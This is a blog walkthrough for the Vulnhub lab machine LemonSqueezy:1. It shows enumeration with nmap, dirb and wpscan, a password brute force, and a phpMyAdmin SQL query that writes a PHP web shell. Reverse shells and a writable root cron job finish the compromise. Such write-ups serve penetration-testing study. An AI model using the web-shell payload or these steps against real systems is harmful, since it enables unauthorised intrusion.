LemonSqueezy:1 - Walkthrough [Vulnhub]
Here's my solution for LemonSqueezy:1.
The machine can be downloaded from here.
Port Scanning
Using nmap for scanning all TCP ports.
$ nmap -sC -sV -p- 192.168.1.106
We find 1 port open.
Enumeration
Browsing the web, we see an apache2 default page.
Using dirb for scanning directories.
$ dirb http://192.168.1.106 -r
Interesting, a /wordpress directory. Let us browse it.
By looking the status bar seems we need to map the ip to host name. We can do this my editing the host file.
Now we browse /wordpress again. We observe that it is build on CMS- Wordpress.
We use wpscan to enumerate all plugins and users.
$ wpscan --url http://lemonsqueezy/wordpress/ -e ap,u
No plugins are found but wpscan did find users for us. As we have usernames we can try to brute force the password.
$ wpscan --url http://lemonsqueezy/wordpress/ -U orange -P /usr/share/wordlists/rockyou.txt
We have the password as- ginger for the user- orange.
We browse the login page, and login with the below details.
Username: orange
Password: ginger
We navigate to Posts.
Lets check this post- Keep this safe!.
This seems like a password.
Getting Access
We browse /phpmyadmin and login with username as- orange and password as- n0t1n@w0rdl1st!
We navigate to SQL tab and enter the payload to upload the shell.
SELECT "<?php system($_GET['cmd']); ?>" into outfile "/var/www/html/wordpress/rshell.php"
Let us execute some commands by browsing /wordpress/rshell.php?cmd=command-here
Seems all is working fine, now we execute the payload to get the reverse shell. And on the other hand we start the netcat listener.
We get the reverse shell.
We navigate to /var/www to get the user flag.
Privilege Escalation
We check for cron jobs.
$ cat /etc/crontab
We find one which runs every 2 minute as user- root.
We also find that we have full permission on the file.
As we have full permission we edit the file and place the payload to get another reverse shell and on the other hand we start the netcat listener.
We get a root shell, lets get the root flag.
Comments
Post a Comment